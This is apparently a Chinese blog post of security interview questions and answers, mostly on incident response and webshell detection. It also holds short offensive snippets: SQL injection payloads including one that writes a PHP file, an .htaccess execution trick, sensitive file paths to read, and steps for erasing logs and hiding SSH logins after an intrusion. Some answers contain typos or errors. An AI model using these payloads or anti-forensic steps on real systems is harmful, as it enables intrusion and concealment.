0%

整理的部分面试题及答案

应急响应基本思路流程

1.收集信息 收集客户信息和中毒主机信息 包括样本 2.判断类型 判断是何种安全事件(挖矿、勒索、Dos、断网等) 3.抑制范围 隔离,使受害面不继续扩大 4.深入分析 日志分析、进程分析、启动项分析、样本分析 5.清理处置 杀掉进程、打补丁、删文件、删除后门、删除异常启动服务 6.产出报告 整理输出完整的安全事件报告

Windows入侵排查思路

1.检查系统账号安全 <1>是否有弱口令 连接对外开发的端口(可以用netstat -ano 查看) <2> lusrmgr.msc 查看服务器是否存在可疑账号、新增账号 <3>通过D盾或者注册表查看服务器是否存在隐藏账号或克隆账号 <4>结合日志查看管理员登录事件、用户名是否正常(eventvwr.msc打开事件查看器,导出后使用LogParer分析)

2.检查异常端口、进程 netstat -ano 检查端口连接情况 使用任务管理器或者 process exp/processmon 等查看进程 3.检查启动项、计划任务、服务

4.检查系统相关信息、版本、补丁 systeminfo 5.查找可疑目录及文件 可以通过 %UserProfile%查看最近访问,查看浏览器下载目录/历史记录/修改文件的时间 6.日志分析 eventvwr.msc 导出到LogParser

Linux入侵排查思路 <1> 账号安全 who 查看当前登录用户(tty本地登陆 pts远程登录) w 查看系统信息,想知道某一时刻用户的行为 cat /etc/passwd 用户信息文件 root:x:0:0:root:/root:/bin/bash account:password:UID:GID:GECOS:directory:shell 用户名:密码:用户ID:组ID:用户说明:家目录:登陆之后shell 注意:无密码只允许本机登陆,远程不允许登陆

1
2
3
4
5
/etc/passwd 存储一般的用户信息,任何人都可以访问;
/etc/shadow 存储用户的密码信息,只有 root 用户可以访问

cat /etc/shadow 影子文件
root:$6$oGs1PqhL2p3ZetrE$X7o7bzoouHQVSEmSgsYN5UD4.kMHx6qgbTqwNVC5oOAouXvcjQSt.Ft7ql1WpkopY0UV9ajBwUt1DpYxTCVvI/:16809:0:99999:7:::

用户名:加密密码:密码最后一次修改日期:两次密码的修改时间间隔:密码有效期:密码修改到期到的警告天数:密码过期之后的宽限天数:账号失效时间:保留

<2> 历史命令 通过 .bash_history 查看帐号执行过的系统命令 1、root的历史命令 histroy 2、打开 /home 各帐号目录下的 .bash_history,查看普通帐号的历史命令 history -c 清除历史操作命令(但此命令并不会清除保存在文件中的记录,需要手动删除.bash_profile文件中的记录)

<3> 检查异常端口 netstat -antlp|more 查看下pid所对应的进程文件路径, 运行ls -l /proc/$PID/exe或file /proc/$PID/exe($PID 为对应的pid 号)

<4> 检查异常进程 ps aux | grep pid

<5> 检测开机启动项 /etc/rc.local /etc/rc.d/rc[0~6].d

<6> 检查定时任务 crontab -l列出某个用户cron服务的详细内容 Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root crontab -r删除每个用户cront任务(谨慎:删除所有的计划任务) crontab -e 使用编辑器编辑当前的crontab文件 如:/1 * * * echo "hello world" >> /tmp/test.txt 每分钟写入文件

<7> 检查服务 chkconfig --list 命令,可以查看系统运行的服务

框架漏洞&常见命令注入漏洞?

<1>Struts2 OGNL注入 <2>weblogic <3>fastjson <4>TP5 RCE ......

常见安全工具、设备

工具 nmap wireshark Burpsuite Awvs Oneforall CS MSF behind antsword 设备 ??? 没接触过

DDOS CC应急思路以及如何防范

增加硬件设备 上云 购买专业安全公司的安全服务 隐藏服务器的真实 IP、上云 WAF、CDN、 负载均衡等设备 过滤不必要的服务端口 使用硬件防火墙 限制特定流量

服务器存在webshell,如何处理?

1.使用D盾或者河马(支持多平台,但需要联网)进行查杀 2.事件分析 分析创建时间点的日志 3.漏洞分析 进程分析 样本分析 4.漏洞复现 5.漏洞修复 清除webshell和残留文件;配置必要的防火墙并开启防火墙策略;防止暴露不必要的服务;排查程序存在的漏洞并及时修补

排查shell 应该用什么命令来进行排查

find find /var/www/html -name "*.php" |xargs egrep 'assert|eval|phpinfo\(\)|\(base64_decoolcode|shell_exec|passthru|file_put_contents\(\.\*\$|base64_decode\('

如何检测webshell

<1> 主机层面 静态检查(特征码、危险函数)、动态检查、日志检测 <2> 流量层面 webshell流量特征

Webshell管理工具的流量特征

<1>菜刀 只使用url编码+base64编码 shell 特征就是传输参数名为 z0,还存在int_set("display_erros","0")字符串特征 <2>蚁剑 默认的蚁剑shell连接时会请求两次,其请求体经过url编码 第一次请求 关闭报错和 magic_qoutes 然后去获取主机信息 第二次请求 列出主机目录 <3>冰蝎2.0 使用AES加密发送3次请求 第一次请求 服务端产生密钥写入session, session和当前会话绑定,不同客户端的密钥也不同 第二次请求 获取 key 第三次请求 使用 key的AES加密进行通信 <4>冰蝎3.0 使用AES加密发起2次请求 与2.0相比 少了动态密钥获取的请求,不再使用随机生成的key,改为取连接密码mad+salt的前16为作为密钥 第一次请求 判断是否可以建立连接 第二次请求 发送phpinfo等代码执行,获取网站信息 <5>哥斯拉 支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求 第一次请求 数据超级长,建立 session 第二三次请求确认连接

常见端口漏洞

<1>远程管理端口 22ssh(弱口令、暴力破解) 23Telnet(弱口令、明文传输) 3389RDP(暴力破解) <2>Web中间件/服务端口 1090/1099 RMI (JAVA反序列化远程RCE) 7001 Weblogic (弱口令、SSRF、反序列化) 8080 Tomcat (弱口令) 8080 Jenkin (未授权访问、命令执行) 9043 WebSphere (控制台弱口令、远程代码执行) 50070 Hadoop (未授权访问) <3>数据库端口 389 Ldap (弱口令、未授权范围) 使用LdapBrower工具直接炼乳 1433 Mssql (弱口令、暴力破解) 1521 Oracle (弱口令、暴力破解) 3306 Mysql (弱口令、暴力破解) 利用日志写入webshell、udf提权、mof提权等 5432 PostgreSQL (弱口令、高权限命令执行) 6379 Redis (未授权访问) 27017 Mongodb (未授权访问、弱口令)

挖矿病毒判断&挖矿常见手段&处理

怎么发现有没有被攻击, 攻击判断可以建立在设备的基础上,利用设备的告警, 如果没用设备的话可考虑如下 网站被攻击: 网站首页被篡改 网站跳转到别的网站 被植入webshell DDOS 服务器被黑: 服务器中木马病毒 服务器管理员账户密码被改 服务器被远控 服务器被流量攻击

数据包或者日志,你的分析思路是什么

分析报文中的host 和 网站目录路径是否可疑 通过威胁平台分析host 是否为恶意IP 使用wireshark 对数据包进行分析 工具 wireshark 网站 微步在线等威胁情报平台

文件上传和命令执行,有看过相关日志吗

系统日志 看有没有web容器做了危险行为 反弹shell之类 网络应用日志 查找异常网站文件 webshell

windows日志分析工具

Log Parser 、 LOgParse Lizard、Event Log Explorer

Linux日志分析技巧命令

grep/awk/sort等命令配合使用

给你一个比较大的日志,应该如何分析

时间日期、url 、状态码、UA 缩小范围 然后再去用工具

Windows在应急响应中的安全日志以及对应场景

设备误报如何处理

Windows和Linux的日志文件放在哪里

Windows 主要有以下三类日志记录系统事件:应用程序日志、系统日志和安全日志 系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx 应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx 安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx Linux 日志默认存放位置:/var/log/ 查看日志配置情况:more /etc/rsyslog.conf

常见中间件的配置文件路径

apache:/etc/httpd/conf nginx:/etc/nginx iis7:C:\Windows\System32\inetsrv\config\

如何查看系统内存shell

Java 内存马排查

如何修改WEB端口?如果不能修改端口还有什么利用方法?

获得文件读取漏洞,通常会读哪些文件,Linux和windows都谈谈

1
2
3
4
5
6
7
8
9
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

windows端口进程间转换

netstat -ano | findstr “port”查看目前的网络连接,定位可疑的 ESTABLISHED 根据netstat定位出的 pid,再通过tasklist命令进行进程定位tasklist | findstr “PID”

文件上传攻击特征?

上传文件的接口 对用户上传文件类型校验不严格

文件上传加固方法?

后端限制文件上传白名单,头像不允许上传 svg 上传后文件随机重命名,不要输出保存文件位置 图片文件可以二次渲染,使用对象存储 oss 文件目录取消执行权限,PHP 设置 basedir

你还用过其他态势感知的产品吗?

ips,ids,hids,堡垒机

钓鱼邮件处置

屏蔽办公区域对钓鱼邮件内容涉及站点、URL 访问 根据办公环境实际情况可以在上网行为管理、路由器、交换机上进行屏蔽 对访问钓鱼网站的内网 IP 进行记录,以便后续排查溯源可能的后果 根据钓鱼邮件发件人进行日志回溯

如何查看区分是扫描流量和手动流量

扫描数据量大,请求有规律,手动扫描间隔较少

️入侵检测&防御

WAF产品如何来拦截攻击?

云 Waf Web 防护软件 硬件 Web 防火墙

WAF有哪些防护方式?

Web基础防护 可防范常规的 web 应用攻击,如 SQL 注入攻击、XSS 跨站攻击等,可检测 webshell,检查 HTTP 上传通道中的网页木马,打开开关即实时生效 CC 攻击防护 可根据 IP、Cookie 或者 Referer 字段名设置灵活的限速策略,有效缓解 CC 攻击 精准访问防护 对常见 HTTP 字段进行条件组合, 支持定制化防护策略如CSRF防护,通过自定义规则的配置,更精准的识别恶意伪造请求、保护网站敏感信息、提高防护精准性 IP 黑白名单 添加终拦截与始终放行的黑白名单 IP,增加防御准确性 地理位置访问控制 添加地理位置访问控制规则,针对来源 IP 进行自定义访问控制 网页防篡改 对网站的静态网页进行缓存配置,当用户访问时返回给用户缓存的正常页面,并随机检测网页是否被篡改 网站反爬虫 动态分析网站业务模型,结合人机识别技术和数据风控手段,精准识别爬虫行为 误报屏蔽 针对特定请求忽略某些攻击检测规则,用于处理误报事件 隐私屏蔽 隐私信息屏蔽,避免用户的密码等信息出现在事件日志中 防敏感信息泄露 防止在页面中泄露用户的敏感信息,例如:用户的身份证号码、手机号码、电子邮箱等

不安全的第三方组件的漏洞如何做前置规避?

如果现在要你写一个检测命令注入的脚本?

️溯源基本步骤

<1> 攻击源捕获 安全设备报警,如扫描IP、威胁阻断、病毒木马、入侵事件等 日志与流量分析,异常的通讯流量、攻击源与攻击目标等 服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等 邮件钓鱼,获取恶意文件样本、钓鱼网站 URL 等 蜜罐系统,获取攻击者 ID、电脑信息、浏览器指纹、行为、意图的相关信息

<2> 溯源反制手段

<3> 攻击者画像


黄金票据和白银票据的一些区别

1.访问权限不同 Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket: 伪造TGS,只能访问指定的服务 2.加密方式不同 Golden Ticket 由Kerberos的Hash—> krbtgt加密 Silver Ticket 由服务器端密码的Hash值—> master key 加密 3.认证流程不同 Golden Ticket 的利用过程需要访问域控(KDC) Silver Ticket 可以直接跳过 KDC 直接访问对应的服务器

序列化与反序列化的区别

序列化: 把对象转换为字符序列的过程 serialize() 反序列化: 把字符序列恢复为对象的过程 unserialize()

常见的中间件漏洞?

IIS put漏洞 文件解析(6.0 /test.asp/test.jpg test.asp;.jpg | 7.5 test.jpg/.php) Apache 文件解析漏洞(php.xxx.yyy) 目录遍历 Nginx 目录遍历 文件解析漏洞(1.png/.php-> php 配置错误) CRLF注入() Tomcat war后门部署 远程代码执行 Jboss 反序列化 war后门部署 Weblogic 反序列化 ssrf war后门部署 任意文件上传

蚁剑/菜刀/C 刀/冰蝎的相同与不相同之处

<1>菜刀 只使用url编码+base64编码 shell 特征就是传输参数名为 z0,还存在int_set("display_erros","0")字符串特征 <2>蚁剑 默认的蚁剑shell连接时会请求两次,其请求体经过url编码 第一次请求 关闭报错和 magic_qoutes 然后去获取主机信息 第二次请求 列出主机目录 <3>冰蝎2.0 使用AES加密发送3次请求 第一次请求 服务端产生密钥写入session, session和当前会话绑定,不同客户端的密钥也不同 第二次请求 获取 key 第三次请求 使用 key的AES加密进行通信 <4>冰蝎3.0 使用AES加密发起2次请求 与2.0相比 少了动态密钥获取的请求,不再使用随机生成的key,改为取连接密码mad+salt的前16为作为密钥 第一次请求 判断是否可以建立连接 第二次请求 发送phpinfo等代码执行,获取网站信息 <5>哥斯拉 支持 n 种加密 采用了和冰蝎 3.0 一样的密钥交换方式,哥斯拉建立连接时会发起三次请求 第一次请求 数据超级长,建立 session 第二三次请求确认连接

正向 SHELL 和反向 SHELL 的区别

攻击机(kali) 受害者(win7)为例 正向 kali 主动连win7 反向 kali 监听端口 win7发起请求连接该端口

Windows 常用的提权方法

potato udf systeminfo 提权辅助页 ms15-051 ms14-067 令牌窃取

Linux 提权有哪些方法

suid sudo 第三方服务 内核

Linux DirtyPipe本地提权 CVE-2022-0847 Linux Polkit权限提升漏洞 CVE-2021-4034 Linux sudo权限提升漏洞 CVE-2021-3156 Linux kernel权限提升漏洞 CVE-2021-3493

PHP 反序列化

为何一个 MYSQL 数据库的站,只有一个 80 端口开放?

更改了端口 站库分离 3306不对外开放

一个成熟并且相对安全的 CMS,渗透时扫描目录的意义?

在某后台新闻编辑界面看到编辑器,应该先做什么?

查看编辑器版本名称 找之前爆出的对应漏洞

审查上传点的元素有什么意义?

如果站点文件上传类型限制是在前端实现的,那么增加上传类型就可以绕过

CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?

XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、输出时采用html实体编码。 CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。

3389 无法连接的几种情况

没开放3389端口 端口被修改 处于内网(需要端口转发) 防护拦截

目标站无防护,上传图片可以正常访问,上传脚本格式访问则 403,什么原因?

目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?

先爆破用户名

如何突破注入时字符被转义?

宽字节注入 hex编码

拿到一个 webshell 发现网站根目录下有.htaccess 文件,我们能做什么?

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php .jpg文件会被解析成.php文件

安全狗会追踪变量,从而发现出是一句话木马吗?

提权时选择可读写目录,为何尽量不用带空格的目录?

如何利用这个防注入系统拿 shell?

CSRF、SSRF 和重放攻击有什么区别?

CSRF是跨站请求伪造攻击,由客户端发起 SSRF是服务器端请求伪造,由服务器发起 重放攻击是将截获的数据包进行重放,达到身份认证等目的

nmap扫描的几种方式

sT TCP扫描 sU UDP扫描 sP ping扫描 Pn 禁ping扫描 sS 半开放扫描 F 快速扫描

报错注入的函数有哪些?

10个 extractvalue(1, concat(0x7e,(select @@version),0x7e)) updatexml(1, concat(0x7e,(secect @@version),0x7e),1) exp()select from test where id=1 and exp(~(select * from(select user())a)); floor报错向下取整 ...

延时注入如何来判断?

sleep() benchmark()

sql 注入写文件都有哪些函数?

into outfile into dumpfile

php中命令执行涉及到的函数

eval()、assert()、popen()、system()、exec()、shell_exec()、passthru()、pcntl_exec()等函数

宽字节注入产生原理以及根本原因

在PHP中比如addslash和magic_quotes_gpc开启

如何防止 CSRF?

验证Referer 添加token

代码执行,文件读取,命令执行的函数都有哪些?

1,代码执行: eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件读取: file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令执行: system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

img 标签除了 onerror 属性外,还有其他获取管理员路径的办法吗?

src指定一个远程的脚本文件,获取referer

img 标签除了 onerror 属性外,并且 src 属性的后缀名,必须以.jpg 结尾,怎么获取管理员路径。

远程服务器修改apache配置文件 配置.jpg文件以php方式来解析AddType application/x-httpd-php .jpg <img src=http://xss.tv/1.jpg> 会以php方式来解析

为什么 aspx 木马权限比 asp 大?

aspx使用的是.net技术。 IIS 中默认不支持,ASP只是脚本语言而已。 入侵的时候asp的木马一般是guest权限…APSX的木马一般是users权限。

如何绕过 waf?

大小写 内敛注释 换行符 编码 参数污染

文件上传有哪些防护方式

文件上传的目录设置为不可执行 白名单机制 重命名 使用安全设备防御

注入有防护怎么办

绕waf

ddos 如何防护

SYN cookie(为每个ip分配一个"cookie") 统计ip访问频率 banip 使用安全设备

为什么参数化查询可以防止 sql 注入

参数化查询可以对参数进行过滤,还能够重用执行计划,若执行计划被重用的话,SQL所要表达的语义是不会变化的 之前学javaweb时候用过预处理的方法 把变量用?代替 然后再去写那个函数

sql 如何写 shell/单引号被过滤怎么办

<1> 写shell(root权限,GPC关闭,知道文件路径,outfile函数) http://127.0.0.1:81/sqli.php?id=1 into outfile 'C:\\wamp64\\www\\phpinfo.php' FIELDS TERMINATED BY '' http://127.0.0.1:81/sqli.php?id=-1 union select 1,0x3c3f70687020706870696e666f28293b203f3e,3,4 into outfile 'C:\\wamp64\\www\\phpinfo.php' <2> 宽字节注入

对于 XSS 怎么修补建议

输入编码转义(可以用html实体编码) 白名单过滤(过滤一些标签和js事件) httponly

添加 token和 referer 做横向对比,谁安全等级高?

token安全等级更高,因为并不是任何服务器都可以取得referer,如果从HTTPS跳到HTTP,也不会发送referer。 并且FLASH一些版本中可以自定义referer。 但是token的话,要保证其足够随机且不可泄露

常见的上传绕过方式

前端js验证 bp抓包改包 大小写、双写 00截断 %00 0x00 mime类型绕过 改Content-Type

导致文件包含的函数

PHP: include(), include_once(), require(),require_once 可参考 https://err0rzz.github.io/2017/08/31/file_include/

入侵 Linux 服务器后需要清除哪些日志?

history vim ~/.bash_history 系统日志
web日志 删除指定ip 时间点 ssh登录记录 隐身登录系统,不会被w、who、last等指令检测到(ssh -T root@192.168.0.1 /bin/bash -i) 不记录ssh公钥在本地.ssh目录中(ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i)

如何加固一个域环境下的 Windows 桌面工作环境?请给出你的思路。

<1> 修补补丁,及时备份 <2> 排查弱口令和账号 <3> 开启服务与端口配置 关闭不必要的端口和服务 <4> 日志配置与审核 增加日志大小以保证完整 对系统事件审核 <5> 系统安全设置 设置屏保和远程连接挂起时间,禁止系统自动登录 <6> 授权 只允许管理员组用户远程开机关机 只有授权用户才可远程登录或本地登录 <7> 文件系统权限 删除everyone权限或取消everyone的写权限 限制部分系统命令的访问权限

宝塔禁止PHP函数如何绕过?

蚁剑disable_function插件

fastjson不出网如何利用?

dnslog回显

域内的一个普通用户(非域用户)如何进行利用?

域内提权??CVE 2021-42287 / CVE 2021-42278

go语言免杀shellcode如何免杀?免杀原理是什么?

windows defender防御机制原理,如何绕过?

卡巴斯基进程保护如何绕过进行进程迁移?

工作组环境下如何进行渗透?

内存马的机制?

说出印象比较深刻的一次外网打点进入内网?

证书透明度的危害?

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------